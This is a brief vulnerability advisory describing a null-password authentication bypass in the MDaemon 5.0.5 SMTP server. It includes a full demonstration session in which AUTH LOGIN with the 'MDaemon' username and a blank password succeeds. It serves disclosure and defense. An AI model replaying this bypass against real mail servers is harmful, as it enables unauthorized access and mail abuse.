MDaemon SMTP Server Null Password Authentication Vulnerability

MDaemon SMTP Server Null Password Authentication Vulnerability

The following demonstration has been supplied:

220 xxx.com ESMTP MDaemon 5.0.5; Sat, 02 Aug 2003 00:51:06 +0200
EHLO localhost
250-xxx.com Hello localhost, pleased to meet you
250-ETRN
250-AUTH LOGIN CRAM-MD5
250-8BITMIME
250 SIZE 0
AUTH LOGIN
334 VXNlcm5hbWU6 (334 Username:)
TURhZW1vbg== (MDaemon)
334 UGFzc3dvcmQ6 (334 Password:)
(blank password)
235 Authentication successful